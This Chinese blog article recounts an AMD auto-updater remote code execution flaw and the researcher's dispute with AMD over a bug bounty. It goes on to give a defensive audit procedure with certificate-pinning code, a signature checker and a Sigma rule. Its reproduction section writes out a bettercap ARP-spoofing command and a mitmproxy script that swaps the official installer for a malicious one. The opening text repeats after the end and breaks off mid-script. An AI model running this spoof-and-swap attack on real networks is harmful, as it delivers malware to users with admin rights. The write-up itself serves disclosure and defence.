今年6月安全圈讨论度最高的事件不是某款主流系统的零日漏洞被野利用是AMD驱动自动更新器的一个RCE漏洞以及背后长达124天的赏金拉锯。独立研究员MrBruh把完整交涉记录和技术细节发到个人博客后当天就冲上了Hacker News首页。整个安全圈吵的不是漏洞技术含量有多高是这件事把软件供应链最隐蔽也最致命的一个环节彻底撕给了所有人看。没人想到装机量百万级的官方驱动更新工具核心下载链路居然走明文HTTP连最基础的文件签名校验都没做。更没人想到厂商确认漏洞真实存在、受益于研究员的报告修复了风险转头就能以“中间人攻击不在赏金范围”为由拒付一万美元的标准高危赏金。这件事已经超出了单个漏洞的范畴。它戳破了很多厂商的安全假象官网挂着HTTPS绿锁合规文档写得满满当当真正决定千万终端安全的更新链路能省则省能混则混。124天从随手抓包到全网争议的完整交涉过程2026年1月27号新西兰22岁的独立安全研究员MrBruh装完自己的新游戏主机。CPU是Ryzen 9 7950X装完系统第一件事就是装Ryzen Master调参数。软件刚启动就弹出了更新提示。他没直接点更新随手开了Wireshark抓了个包——这是安全从业者的职业习惯。抓包结果让他有点意外。更新程序先请求了一个HTTPS地址拉取XML格式的更新清单这个环节加密没问题。但XML里的安装包下载地址是明晃晃的HTTP链接没有任何加密。他第一反应是自己看错了。AMD这种级别的硬件厂商驱动更新这么核心的功能不可能犯这种低级错误。他接着逆向了更新程序的主程序越挖越心惊。客户端下载完exe文件后既不校验文件的SHA256哈希值也不验证微软Authenticode数字签名拿到文件直接调用CreateProcess以管理员权限启动。也就是说只要能劫持这个HTTP下载链路就能把官方安装包换成任意恶意程序。更新程序会帮攻击者把恶意代码以最高权限跑在用户电脑上连个风险提示都不会弹。这是标准的远程代码执行漏洞也就是自动更新RCE对应CVE编号CVE-2026-40677CVSS评分7.7属于高危级别。2月6号MrBruh整理好完整的漏洞报告、复现视频、逆向代码片段和流量抓包文件通过AMD合作的赏金平台Intigriti提交了漏洞。按AMD公开的赏金计划高危RCE漏洞的奖金是10000美元。他本来以为这是一次常规的漏洞上报。结果提交当天工单就被平台关闭了。官方回复很简短我们确认该漏洞真实存在但根据AMD漏洞赏金计划规则中间人攻击MITM场景不在奖励覆盖范围内本次不予发放赏金。MrBruh当场就懵了。自动更新组件的中间人攻击直接导致远程代码执行是软件供应链攻击最主流的入口。几乎所有主流厂商的赏金计划都会把这类漏洞纳入高危范围。AMD直接把整个场景排除在外等于给更新链路的安全开了个天窗。他没有直接公开漏洞。按行业通用的90天披露规则他给厂商留足了修复时间同时继续和平台、AMD安全团队沟通。沟通全程被动。AMD安全团队很少主动回复邮件每次都是MrBruh追问进度隔一周才会收到一句“正在处理”。第85天的时候AMD发来了正式的延期申请。他们说这个更新组件牵扯到Ryzen Master、AMD管理控制台、AMD µProf等多款工具底层重构工作量大申请延期30天修复。MrBruh同意了。他的核心诉求从来不是那一万美元是让几百万用户尽快补上这个高危漏洞。他还主动下架了自己提前写好的漏洞分析博客避免提前泄露给恶意攻击者。后面的发展完全超出预期。延期的30天里AMD没有同步过任何修复进度。第110天、第115天MrBruh连续发了三封邮件询问补丁状态都只收到了系统自动回复。直到第124天也就是6月9号AMD突然推送了修复补丁同时通知研究员漏洞可以公开披露。整个修复周期比行业通用的90天标准多了34天。MrBruh重新发布了完整的漏洞分析博客把124天的交涉记录全部放了出来。文章很快发酵。安全圈几乎一边倒地站在研究员这边核心质疑集中在三点。漏洞真实存在覆盖数百万用户厂商靠研究员的报告规避了大规模安全风险却以一句“不在范围”拒付赏金不符合行业共识。AMD口中的“小众MITM场景”实际攻击门槛极低。公共WiFi、企业内网ARP欺骗、运营商链路劫持、恶意家用路由器都能实现攻击根本不是极端场景。有开发者翻出了AMD赏金计划的历史版本发现“MITM场景排除”的条款是在MrBruh提交漏洞之后才悄悄加上的。等于厂商打完仗才画靶事后修改规则约束上报者。AMD很快给出了官方回应。他们坚持赏金计划规则明确排除MITM类漏洞自己没有违规。同时强调漏洞只影响配套工具不涉及核心显卡驱动用户风险可控已经完成修复并分配了CVE编号也在公告里致谢了研究员。这个回应没有平息争议。很多安全从业者直言厂商的逻辑就是“没出事的时候安全不重要有人报漏洞的时候规则最重要”。赏金计划不是用来奖励安全贡献的是用来做品牌公关的。类似的事不是第一次发生。前两年NVIDIA的GeForce Experience更新器也出过几乎一模一样的漏洞也是HTTP下载无签名最后厂商也是修了漏洞但没给赏金。驱动类软件的更新组件好像一直是安全的盲区。用户默认信任官方厂商厂商默认没人会盯着更新链路挖漏洞。拆开看这个自动更新RCE到底有多好利用这个漏洞没有任何技术门槛入门级渗透测试人员就能复现。它的核心问题是厂商在更新链路上做了“半吊子安全”。两层架构的致命割裂AMD自动更新组件的通信逻辑分两层。第一层是更新清单拉取。客户端向官方服务器发送HTTPS请求拿到一个XML格式的更新列表里面包含最新版本号、文件大小、下载地址。这一层做了加密看起来很正规。第二层是安装包下载。客户端解析XML里的下载地址直接通过HTTP下载对应的exe安装包。这一层完全明文没有任何加密和校验。相当于你给家门装了最高级的指纹锁却把家里保险柜的钥匙放在了门口的脚垫下面。攻击者根本不用撬锁弯腰就能拿到钥匙。根据AMD自动更新组件通信架构图我们可以直接看更新清单的XML结构这是从抓包文件里还原出来的内容?xml version1.0 encodingUTF-8?UpdateListProductnameRyzen MasterVersion2.11.0.2675/VersionDownloadURLhttp://download.amd.com/desktop/ryzen_master_2.11.0.2675_setup.exe/DownloadURLFileSize125829120/FileSizeReleaseDate2026-01-15/ReleaseDate/ProductProductnameAMD uProfVersion4.2.0/VersionDownloadURLhttp://download.amd.com/desktop/uprof_4.2.0_setup.exe/DownloadURLFileSize87031808/FileSize/Product/UpdateList所有下载地址都是HTTP协议没有任何哈希校验字段。客户端只会校验文件大小而文件大小攻击者可以随便伪造。客户端校验逻辑完全缺失逆向更新程序的核心执行逻辑简化后的伪代码大概是这样// AMD更新程序下载执行逻辑简化还原版voidDownloadAndRunUpdate(string downloadUrl){// 1. 下载文件到系统临时目录string tempPathGetTempPath()amd_update_temp.exe;DownloadFile(downloadUrl,tempPath);// 2. 唯一校验检查文件大小if(GetFileSize(tempPath)!expectedSize){DeleteFile(tempPath);return;}// 3. 直接申请管理员权限启动ShellExecute(NULL,runas,tempPath,NULL,NULL,SW_SHOW);}没有数字签名校验没有哈希校验没有发布者验证。唯一的校验是文件大小攻击者只要把恶意程序改成和官方包一样的大小就能直接绕过。更离谱的是更新程序默认申请管理员权限运行。也就是说恶意程序跑起来之后直接拥有系统最高权限可以改注册表、装驱动、植入持久化后门想做什么做什么。普通用户根本分辨不出来。弹出来的是官方更新程序的窗口进度条正常走装完之后电脑也没什么异常。恶意程序早就静默执行完了。完整攻击复现步骤整个攻击过程只需要三步攻击者和受害者在同一个局域网内就能完成比如公共咖啡馆、公司内网、出租屋共享WiFi。第一步ARP欺骗占住链路。攻击者在同一局域网内运行Bettercap对受害者主机做ARP欺骗把自己伪装成网关。这样受害者所有的网络流量都会先经过攻击者的主机。# Bettercap ARP欺骗执行命令bettercap-ifaceeth0-T192.168.1.100-G192.168.1.1 arp.spoof on192.168.1.100是受害者IP192.168.1.1是网关地址。执行之后受害者的出站流量就全部被劫持了。第二步HTTP流量替换安装包。攻击者开启HTTP代理模块匹配AMD下载域名的exe请求把官方安装包替换成提前做好的恶意程序。用MITMproxy的话只需要几行Python脚本就能实现# MITMproxy 流量替换脚本frommitmproxyimporthttpdefrequest(flow:http.HTTPFlow)-None:# 匹配AMD下载域名的exe请求ifdownload.amd.cominflow.request.hostandflow.request.path.endswith(.exe):# 读取本地恶意程序withopen(/tmp/malicious_update.exe,rb)asf:malicious_filef.read()# 替换响应内容flow.responsehttp.Response.make(200,malicious_file,{Content-Type:application/octet-stream,Content-Length:str(len(malicious_file))})受害者只要触发更新下载的就不是官方安装包是攻击者准备好的恶意程序。第三步静默获取系统权限。更新程序下载完文件校验一下大小没问题直接以管理员权限运行。恶意程序执行后攻击者就能拿到受害者主机的完整控制权。整个过程用户没有任何感知。更新窗口正常显示安装进度正常推进甚至装完之后还会提示“更新成功”。攻击成功率接近100%。因为用户不会怀疑官方驱动更新带毒杀毒软件也很难识别——更新程序是官方签名的合法程序它启动的子进程很多安全工具会默认放行。漏洞的实际危害量级很多人觉得不就是个局域网攻击吗哪有那么容易碰到。这个认知完全错了。MITM攻击的场景远不止公共WiFi。企业内网里一台员工主机被攻陷攻击者就能通过ARP欺骗横向移动给全公司的AMD主机投毒。运营商层面的HTTP劫持能覆盖一个城市的所有用户。还有恶意家用路由器、钓鱼WiFi、CDN节点被攻陷都是真实存在的攻击路径。去年就有勒索软件团伙通过劫持某常用办公软件的更新链路一周之内感染了三万多台企业主机。自动更新是最高效的供应链投毒渠道。它有官方信任背书有最高系统权限能批量触达用户。一旦这个环节出问题就是级联式的大规模安全事故。AMD这个漏洞覆盖了全球数百万台锐龙主机、工作站和服务器。真的有黑产团伙盯上这个漏洞后果不堪设想。AMD修复方案的局限性AMD这次的修复方案说穿了就两步。一是把所有HTTP下载链接改成了HTTPS二是加了基础的SHA256哈希校验。修复是修了但没修到位。他们没有做证书钉扎。也就是说如果攻击者拿到了一张合法的、受信任的CA证书伪造了download.amd.com的域名证书依然能劫持下载流量。他们也没有做严格的数字签名校验只是校验了清单里的哈希值。如果攻击者能篡改XML更新清单就能同步篡改哈希值校验照样能绕过。说白了就是补了最明显的窟窿更深层的防护还是没做。后续如果再出个XML注入或者清单劫持漏洞RCE依然成立。通用SOP软件自动更新安全审计完整落地教程踩完AMD的坑我们可以整理出一套可直接落地的软件自动更新安全审计SOP。不管你是客户端开发、安全测试、企业运维还是供应链安全负责人这套SOP都能直接套用帮你避开99%的更新链路漏洞。软件更新安全审计全流程SOP图*整个SOP分四个阶段开发静态审计、上线前渗透测试、线上周期性复测、漏洞应急响应。每个阶段都有明确的检查项和落地方法没有空泛的理论。阶段一开发阶段静态审计这个阶段是成本最低、效果最好的防护阶段。所有安全规则都要在开发阶段写死不能留配置开关不能给后续留偷懒的空间。传输层安全强制规范传输层是第一道防线核心要求只有一个全链路杜绝明文HTTP没有例外。所有更新相关请求包括更新清单拉取、安装包下载、增量包下载、日志上报、配置同步全部强制HTTPS代码层面拦截所有HTTP请求禁止通过配置文件动态切换协议。很多厂商会犯和AMD一样的错主接口HTTPSCDN下载节点HTTP。觉得下载的是公开文件加密没必要。这是完全错误的认知下载链路是篡改风险最高的环节。强制TLS 1.3协议禁用TLS 1.0、TLS 1.1和所有不安全的加密套件。服务端配置HSTS强制客户端走HTTPS防止SSL剥离攻击。必须实现证书钉扎SSL Pinning。客户端代码里硬编码更新服务器的公钥SHA256指纹只接受和预置指纹匹配的证书哪怕是系统信任的CA签发的证书指纹不对也直接拒绝连接。这是防范伪造证书、CA被攻陷场景的唯一有效手段。很多厂商觉得有HTTPS就够了实际上CA体系并没有那么可靠。这里给一段C#实现证书钉扎的示例代码可以直接集成到客户端更新模块里// 证书钉扎实现示例usingSystem.Net.Security;usingSystem.Security.Cryptography.X509Certificates;publicstaticclassCertificatePinning{// 硬编码官方更新服务器公钥SHA256指纹禁止通过配置文件修改privateconststringExpectedPublicKeyPin7A:B2:3C:D4:E5:F6:78:90:1A:2B:3C:4D:5E:6F:70:81:92:A3:B4:C5:D6:E7:F8:09:10:21:32:43:54:65:76:87;publicstaticboolValidateCertificate(objectsender,X509Certificatecertificate,X509Chainchain,SslPolicyErrorssslPolicyErrors){// 任何证书策略错误直接拒绝if(sslPolicyErrors!SslPolicyErrors.None)returnfalse;X509Certificate2cert2newX509Certificate2(certificate);stringactualThumbprintcert2.GetCertHashString(HashAlgorithmName.SHA256);// 公钥指纹严格比对不做模糊匹配returnstring.Equals(actualThumbprint,ExpectedPublicKeyPin,StringComparison.OrdinalIgnoreCase);}// 注册到全局HTTP客户端publicstaticvoidRegisterPinningHandler(HttpClientHandlerhandler){handler.ServerCertificateCustomValidationCallbackValidateCertificate;}}禁用系统默认的宽松证书校验逻辑禁止开发环境的跳过证书校验代码流入生产环境。CI/CD流程里加检测规则但凡出现ServicePointManager.ServerCertificateValidationCallback null这类跳过校验的代码直接阻断构建。安装包完整性与身份校验这是核心防线。传输层被突破的情况下校验逻辑是最后一道闸门。AMD就是完全没做这一层才导致一破就透。每一个正式发布的更新包都必须使用厂商离线存储的私钥生成数字签名。Windows平台用Authenticode签名Linux平台用GPG签名公钥内置在客户端里不能随更新包下发。客户端下载完更新包后必须执行双重校验先校验文件SHA256哈希值和更新清单里的是否一致再校验数字签名的合法性和发布者身份。任何一项校验失败立即删除下载的文件终止更新流程弹出明确的安全告警同时上报异常日志到服务端。绝对不允许设置“校验失败仍继续执行”的兼容选项。签名私钥必须离线存储严格管控访问权限定期轮换。同时配置证书吊销列表CRL和OCSP校验一旦私钥泄露能立刻吊销旧证书阻断恶意包的校验。增量更新的安全校验不能偷懒。很多厂商全量更新包做了签名增量补丁包却只做简单的二进制差分没有签名校验。攻击者可以篡改增量包在差分过程中注入恶意代码。所有增量包必须和全量包走同一套签名校验逻辑补丁应用前后都要校验文件哈希。更新回滚机制也要审计。更新失败回滚的时候要校验回滚文件的完整性和签名不能直接加载旧版本文件防止攻击者利用回滚机制植入恶意文件。这里给一个PowerShell版本的文件签名检测脚本可以集成到CI/CD流程也可以用来批量巡检终端文件# 文件数字签名检测脚本functionTest-FileAuthenticode{param([Parameter(Mandatory$true)][string]$FilePath,[string]$ExpectedPublisher)if(-not(Test-Path$FilePath-PathType Leaf)){Write-Output[错误] 文件不存在:$FilePathreturn$false}$signatureGet-AuthenticodeSignature-FilePath$FilePathif($signature.Status-neValid){Write-Output[警告] 文件签名无效状态:$($signature.Status)return$false}# 如果指定了预期发布者额外校验发布者身份if(-not[string]::IsNullOrEmpty($ExpectedPublisher)){if($signature.SignerCertificate.Subject-notlike*$ExpectedPublisher*){Write-Output[警告] 签名发布者不匹配实际发布者:$($signature.SignerCertificate.Subject)return$false}}Write-Output[正常] 文件签名有效发布者:$($signature.SignerCertificate.Subject)return$true}# 调用示例Test-FileAuthenticode-FilePathC:\Updates\app_setup.exe-ExpectedPublisherAMD权限与执行逻辑安全更新程序权限高哪怕校验逻辑都做了也要在执行层面加一层保险。遵循最小权限原则。更新如果只涉及用户目录下的文件就不要申请管理员权限。只有更新系统级驱动、写入Program Files目录的时候才临时提权用完立刻释放。更新文件必须下载到系统临时目录设置严格的访问权限禁止其他进程读写。校验通过之后再移动到正式安装路径。绝对不能在公共目录下执行更新程序。高危更新、驱动级更新必须弹出明确的用户确认窗口不能静默后台安装。给用户留最后一道人工校验的关口。更新完成后立刻删除临时安装包不要残留。避免恶意程序替换残留文件后续被更新程序二次执行。配置与更新清单安全很多厂商防住了下载链路却在更新清单上栽了跟头。更新清单不能只靠传输层加密本身也要做签名校验。XML、JSON格式的清单文件服务端要用私钥签名客户端拉取后先验签再解析内容。防止传输层被突破后攻击者篡改清单里的下载地址和哈希值。更新服务器地址、公钥指纹这些核心配置必须硬编码在客户端二进制文件里不能明文写在配置文件里。防止用户或者恶意程序修改配置跳转到恶意更新源。严格区分生产环境和测试环境的更新域名。测试环境的更新地址绝对不能出现在正式版客户端里。很多开发为了方便在代码里留了测试环境的开关被攻击者利用就能切换到测试源下载有漏洞的旧版本。禁止更新清单动态加载第三方下载地址。所有下载链接必须属于官方自有域名禁止跳转第三方CDN的时候不带校验。阶段二上线前渗透测试审计开发阶段做了规则不代表实际落地没问题。上线前必须做完整的渗透测试模拟真实攻击场景验证防护效果。所有测试项必须全部通过才能上线。有任何一项不通过直接打回开发阶段整改。必测的五个场景ARP中间人劫持测试模拟同一局域网下的ARP欺骗看能不能劫持更新流量替换安装包。如果客户端做了全链路HTTPS证书钉扎这个测试应该直接失败连接直接中断。常用工具Bettercap、Ettercap、Wireshark。SSL剥离攻击测试模拟强制把HTTPS降级成HTTP看客户端会不会接受明文连接。配置了HSTS和强制HTTPS的客户端会直接拒绝连接不会降级。常用工具SSLstrip、Burp Suite。伪造证书测试用自签名证书或者第三方CA签发的测试证书模拟中间人伪造证书。做了证书钉扎的客户端会直接拒绝连接不会信任系统证书库里的其他证书。常用工具MITMproxy、Burp Suite、OpenSSL。签名篡改测试修改官方安装包的二进制内容重新打包看客户端能不能识别出签名损坏拒绝执行。还要测试篡改更新清单里的哈希值看客户端会不会校验清单本身的签名。常用工具CFF Explorer、Sigthief、二进制编辑器。异常分支容错测试模拟断网、下载中断、文件损坏、校验失败等各种异常场景看程序会不会出现崩溃、权限绕过、残留恶意文件等问题。特别是校验失败的分支绝对不能出现“校验失败但继续执行”的逻辑。很多公司的测试只测正常流程不测异常分支。实际上大部分漏洞都出在异常处理的逻辑里。阶段三线上周期性审计安全不是一劳永逸的。产品迭代、功能更新、服务器架构调整都可能引入新的漏洞。必须做周期性的常态化审计。每月做一次全链路流量扫描。抓包检查所有更新相关接口看有没有新增的HTTP明文地址有没有不符合安全规范的请求。每季度做一次签名密钥与证书审计。检查私钥存储权限、证书有效期、吊销列表状态按计划轮换密钥。很多公司密钥放了好几年都不换一旦泄露就是灭顶之灾。每半年做一次第三方依赖组件审计。更新模块依赖的HTTP库、解析库、加密库要定期扫漏洞特别是那种自带跳过证书校验功能的第三方SDK是重灾区。每年复核一次漏洞赏金计划规则。明确哪些场景纳入奖励、哪些排除定级标准和奖金金额公开透明。不要事后改规则寒了研究员的心最后吃亏的还是厂商自己和用户。阶段四漏洞应急响应规范再完善的防护也不能保证绝对不出漏洞。应急响应做不好小漏洞也会变成大事故。AMD这次被骂很大原因就是响应慢、沟通差。明确漏洞分级和响应时效。高危RCE类漏洞90天内必须出正式修复补丁每周同步一次修复进度给上报者。严重漏洞24小时内出缓解方案72小时出临时补丁。建立专门的安全沟通渠道。给漏洞上报者留直接对接的安全接口人不要让人家跟客服机器人来回踢皮球。人家帮你找漏洞你连个对接的人都不给说不过去。修复补丁推送的同时必须同步发布安全公告。说明漏洞影响范围、风险等级、修复方法还要公开致谢漏洞上报者。这是行业基本礼仪也是对安全贡献的尊重。高危漏洞修复期间要给用户提供临时缓解方案。比如怎么关闭自动更新、怎么拦截恶意域名、怎么手动更新。不能让用户裸奔等三个月补丁。企业侧从终端到供应链的全套防护方案如果你是企业安全运维负责人不用等厂商修复自己就能做多层防护把自动更新的风险降到最低。终端侧管住权限和执行终端是最后一道防线核心是限制更新程序的权限拦截未签名的高权限执行。域环境批量管控自动更新服务。对于驱动类、工具类的自动更新统一通过组策略禁用开机自启只在需要更新的时候手动开启。这里给一个批量禁用AMD自动更新服务的PowerShell脚本可以直接下发到域内所有主机# 批量禁用AMD自动更新服务$amdServices (AMD External Events Utility,AMD Software: Adrenalin Edition Update Service,RyzenMasterUpdateService)foreach($serviceNamein$amdServices){$serviceGet-Service-Name$serviceName-ErrorAction SilentlyContinueif($service){Set-Service-Name$serviceName-StartupType DisabledStop-Service-Name$serviceName-ForceWrite-Output已禁用服务:$serviceName}}EDR加专项检测规则。监控所有更新类进程的子进程创建行为只要更新程序启动了没有有效数字签名的子进程直接拦截并告警。给一条Sigma检测规则可以直接导入SIEM平台title:AMD更新程序启动未签名子进程id:amd-update-rce-detectionstatus:experimentaldescription:检测AMD自动更新组件启动无有效签名的可执行文件可能存在MITM篡改author:Security Audit Teamdate:2026-06-14logsource:product:windowscategory:process_creationdetection:selection_parent:ParentImage|endswith:-AMDRSServ.exe-AMDUpdater.exe-RyzenMasterUpdate.exefilter_signed:Signed:Validcondition:selection_parent and not filter_signedfalsepositives:-测试环境下的未签名内部更新包level:high开启Windows Defender的应用程序控制策略WDAC只允许受信任发布者签名的程序运行。哪怕更新链路被劫持恶意程序没有官方签名也跑不起来。服务器环境的防护标准要更高。AMD EPYC服务器的驱动和管理工具更新必须全部走离线手动更新禁止开启自动更新。每一次更新包都要做完整的签名校验和病毒扫描确认无误后再逐台部署。服务器权限高一旦被攻陷影响的是整个业务系统。网络侧掐断明文更新流量在网关和网络边界做拦截从流量层面堵住风险。出口防火墙加规则拦截所有HTTP协议的软件更新流量。只允许HTTPS协议的更新请求通过从根源上杜绝明文下载的风险。内网DNS服务器做管控把常用软件的更新域名解析到内网私有更新源禁止终端直接连接外网更新服务器。有条件的企业可以开启出口SSL解密检测所有HTTPS更新流量的内容。如果发现下载的文件没有有效签名直接阻断。供应链侧把风险挡在外部企业采购硬件和软件的时候就要把更新安全纳入准入标准不要等买进来了再补窟窿。建立厂商更新安全评估台账。新采购的软件、硬件驱动先做更新链路安全检测。存在明文下载、无签名校验这类问题的直接打回不允许采购。搭建企业内部私有更新源。所有操作系统补丁、驱动更新、软件升级都先同步到内网服务器人工校验完签名和哈希之后再推给终端。绝对不让终端直接从外网拉更新包。Windows环境可以用WSUS或者SCCMLinux环境可以搭本地YUM/APT源驱动类更新可以用厂商的企业级更新管理工具。建立漏洞情报跟踪机制。专人跟进常用软件、硬件厂商的安全公告特别是更新组件相关的漏洞。一有新漏洞第一时间推补丁或者先上临时防护规则。运营侧补全意识和流程技术防护再全人的意识跟不上也没用。给员工做安全培训明确公共WiFi环境下禁止执行系统更新、驱动更新、软件升级操作。要更新就回公司内网或者用可信的手机热点。制定标准化的更新操作流程。所有终端更新必须走统一的内部渠道不允许员工私自从第三方网站下载驱动和更新包。每季度做一次终端安全巡检扫一遍全网主机的更新组件版本和配置有没有违规开启自动更新有没有存在已知漏洞的版本。最后说几句这件事闹到最后大概率还是不了了之。AMD不会补发那一万美元赏金也不会改赏金计划的规则。过不了多久大家就会忘了这个漏洞继续用自动更新装驱动。但这件事留下的提醒很重要。我们总说软件供应链安全总说要防范供应链投毒。很多人觉得那是国家级攻击离自己很远。实际上最基础的更新链路安全很多厂商都没做好。HTTPS、数字签名、证书钉扎都是成熟了十几年的技术。不是做不到是不想做。觉得没人会挖觉得出了事也没多大影响觉得省点成本比用户安全重要。直到真的被黑产利用造成大规模数据泄露和勒索事件才会后知后觉补窟窿。到那时候损失的就不是一万美元赏金了。安全这件事从来都是防患于未然成本最低。自动更新不该是安全的法外之地更不该是厂商省钱的地方。最后留两个问题欢迎评论区聊聊你们公司有没有做过软件更新链路的全链路安全审计碰到过哪些离谱的低级安全问题你认为MITM场景的漏洞厂商应该纳入漏洞赏金范围吗
AMD自动更新RCE漏洞实战复盘：124天交涉全记录+软件更新安全审计SOP完整教程
发布时间：2026/6/22 13:46:54
今年6月安全圈讨论度最高的事件不是某款主流系统的零日漏洞被野利用是AMD驱动自动更新器的一个RCE漏洞以及背后长达124天的赏金拉锯。独立研究员MrBruh把完整交涉记录和技术细节发到个人博客后当天就冲上了Hacker News首页。整个安全圈吵的不是漏洞技术含量有多高是这件事把软件供应链最隐蔽也最致命的一个环节彻底撕给了所有人看。没人想到装机量百万级的官方驱动更新工具核心下载链路居然走明文HTTP连最基础的文件签名校验都没做。更没人想到厂商确认漏洞真实存在、受益于研究员的报告修复了风险转头就能以“中间人攻击不在赏金范围”为由拒付一万美元的标准高危赏金。这件事已经超出了单个漏洞的范畴。它戳破了很多厂商的安全假象官网挂着HTTPS绿锁合规文档写得满满当当真正决定千万终端安全的更新链路能省则省能混则混。124天从随手抓包到全网争议的完整交涉过程2026年1月27号新西兰22岁的独立安全研究员MrBruh装完自己的新游戏主机。CPU是Ryzen 9 7950X装完系统第一件事就是装Ryzen Master调参数。软件刚启动就弹出了更新提示。他没直接点更新随手开了Wireshark抓了个包——这是安全从业者的职业习惯。抓包结果让他有点意外。更新程序先请求了一个HTTPS地址拉取XML格式的更新清单这个环节加密没问题。但XML里的安装包下载地址是明晃晃的HTTP链接没有任何加密。他第一反应是自己看错了。AMD这种级别的硬件厂商驱动更新这么核心的功能不可能犯这种低级错误。他接着逆向了更新程序的主程序越挖越心惊。客户端下载完exe文件后既不校验文件的SHA256哈希值也不验证微软Authenticode数字签名拿到文件直接调用CreateProcess以管理员权限启动。也就是说只要能劫持这个HTTP下载链路就能把官方安装包换成任意恶意程序。更新程序会帮攻击者把恶意代码以最高权限跑在用户电脑上连个风险提示都不会弹。这是标准的远程代码执行漏洞也就是自动更新RCE对应CVE编号CVE-2026-40677CVSS评分7.7属于高危级别。2月6号MrBruh整理好完整的漏洞报告、复现视频、逆向代码片段和流量抓包文件通过AMD合作的赏金平台Intigriti提交了漏洞。按AMD公开的赏金计划高危RCE漏洞的奖金是10000美元。他本来以为这是一次常规的漏洞上报。结果提交当天工单就被平台关闭了。官方回复很简短我们确认该漏洞真实存在但根据AMD漏洞赏金计划规则中间人攻击MITM场景不在奖励覆盖范围内本次不予发放赏金。MrBruh当场就懵了。自动更新组件的中间人攻击直接导致远程代码执行是软件供应链攻击最主流的入口。几乎所有主流厂商的赏金计划都会把这类漏洞纳入高危范围。AMD直接把整个场景排除在外等于给更新链路的安全开了个天窗。他没有直接公开漏洞。按行业通用的90天披露规则他给厂商留足了修复时间同时继续和平台、AMD安全团队沟通。沟通全程被动。AMD安全团队很少主动回复邮件每次都是MrBruh追问进度隔一周才会收到一句“正在处理”。第85天的时候AMD发来了正式的延期申请。他们说这个更新组件牵扯到Ryzen Master、AMD管理控制台、AMD µProf等多款工具底层重构工作量大申请延期30天修复。MrBruh同意了。他的核心诉求从来不是那一万美元是让几百万用户尽快补上这个高危漏洞。他还主动下架了自己提前写好的漏洞分析博客避免提前泄露给恶意攻击者。后面的发展完全超出预期。延期的30天里AMD没有同步过任何修复进度。第110天、第115天MrBruh连续发了三封邮件询问补丁状态都只收到了系统自动回复。直到第124天也就是6月9号AMD突然推送了修复补丁同时通知研究员漏洞可以公开披露。整个修复周期比行业通用的90天标准多了34天。MrBruh重新发布了完整的漏洞分析博客把124天的交涉记录全部放了出来。文章很快发酵。安全圈几乎一边倒地站在研究员这边核心质疑集中在三点。漏洞真实存在覆盖数百万用户厂商靠研究员的报告规避了大规模安全风险却以一句“不在范围”拒付赏金不符合行业共识。AMD口中的“小众MITM场景”实际攻击门槛极低。公共WiFi、企业内网ARP欺骗、运营商链路劫持、恶意家用路由器都能实现攻击根本不是极端场景。有开发者翻出了AMD赏金计划的历史版本发现“MITM场景排除”的条款是在MrBruh提交漏洞之后才悄悄加上的。等于厂商打完仗才画靶事后修改规则约束上报者。AMD很快给出了官方回应。他们坚持赏金计划规则明确排除MITM类漏洞自己没有违规。同时强调漏洞只影响配套工具不涉及核心显卡驱动用户风险可控已经完成修复并分配了CVE编号也在公告里致谢了研究员。这个回应没有平息争议。很多安全从业者直言厂商的逻辑就是“没出事的时候安全不重要有人报漏洞的时候规则最重要”。赏金计划不是用来奖励安全贡献的是用来做品牌公关的。类似的事不是第一次发生。前两年NVIDIA的GeForce Experience更新器也出过几乎一模一样的漏洞也是HTTP下载无签名最后厂商也是修了漏洞但没给赏金。驱动类软件的更新组件好像一直是安全的盲区。用户默认信任官方厂商厂商默认没人会盯着更新链路挖漏洞。拆开看这个自动更新RCE到底有多好利用这个漏洞没有任何技术门槛入门级渗透测试人员就能复现。它的核心问题是厂商在更新链路上做了“半吊子安全”。两层架构的致命割裂AMD自动更新组件的通信逻辑分两层。第一层是更新清单拉取。客户端向官方服务器发送HTTPS请求拿到一个XML格式的更新列表里面包含最新版本号、文件大小、下载地址。这一层做了加密看起来很正规。第二层是安装包下载。客户端解析XML里的下载地址直接通过HTTP下载对应的exe安装包。这一层完全明文没有任何加密和校验。相当于你给家门装了最高级的指纹锁却把家里保险柜的钥匙放在了门口的脚垫下面。攻击者根本不用撬锁弯腰就能拿到钥匙。根据AMD自动更新组件通信架构图我们可以直接看更新清单的XML结构这是从抓包文件里还原出来的内容?xml version1.0 encodingUTF-8?UpdateListProductnameRyzen MasterVersion2.11.0.2675/VersionDownloadURLhttp://download.amd.com/desktop/ryzen_master_2.11.0.2675_setup.exe/DownloadURLFileSize125829120/FileSizeReleaseDate2026-01-15/ReleaseDate/ProductProductnameAMD uProfVersion4.2.0/VersionDownloadURLhttp://download.amd.com/desktop/uprof_4.2.0_setup.exe/DownloadURLFileSize87031808/FileSize/Product/UpdateList所有下载地址都是HTTP协议没有任何哈希校验字段。客户端只会校验文件大小而文件大小攻击者可以随便伪造。客户端校验逻辑完全缺失逆向更新程序的核心执行逻辑简化后的伪代码大概是这样// AMD更新程序下载执行逻辑简化还原版voidDownloadAndRunUpdate(string downloadUrl){// 1. 下载文件到系统临时目录string tempPathGetTempPath()amd_update_temp.exe;DownloadFile(downloadUrl,tempPath);// 2. 唯一校验检查文件大小if(GetFileSize(tempPath)!expectedSize){DeleteFile(tempPath);return;}// 3. 直接申请管理员权限启动ShellExecute(NULL,runas,tempPath,NULL,NULL,SW_SHOW);}没有数字签名校验没有哈希校验没有发布者验证。唯一的校验是文件大小攻击者只要把恶意程序改成和官方包一样的大小就能直接绕过。更离谱的是更新程序默认申请管理员权限运行。也就是说恶意程序跑起来之后直接拥有系统最高权限可以改注册表、装驱动、植入持久化后门想做什么做什么。普通用户根本分辨不出来。弹出来的是官方更新程序的窗口进度条正常走装完之后电脑也没什么异常。恶意程序早就静默执行完了。完整攻击复现步骤整个攻击过程只需要三步攻击者和受害者在同一个局域网内就能完成比如公共咖啡馆、公司内网、出租屋共享WiFi。第一步ARP欺骗占住链路。攻击者在同一局域网内运行Bettercap对受害者主机做ARP欺骗把自己伪装成网关。这样受害者所有的网络流量都会先经过攻击者的主机。# Bettercap ARP欺骗执行命令bettercap-ifaceeth0-T192.168.1.100-G192.168.1.1 arp.spoof on192.168.1.100是受害者IP192.168.1.1是网关地址。执行之后受害者的出站流量就全部被劫持了。第二步HTTP流量替换安装包。攻击者开启HTTP代理模块匹配AMD下载域名的exe请求把官方安装包替换成提前做好的恶意程序。用MITMproxy的话只需要几行Python脚本就能实现# MITMproxy 流量替换脚本frommitmproxyimporthttpdefrequest(flow:http.HTTPFlow)-None:# 匹配AMD下载域名的exe请求ifdownload.amd.cominflow.request.hostandflow.request.path.endswith(.exe):# 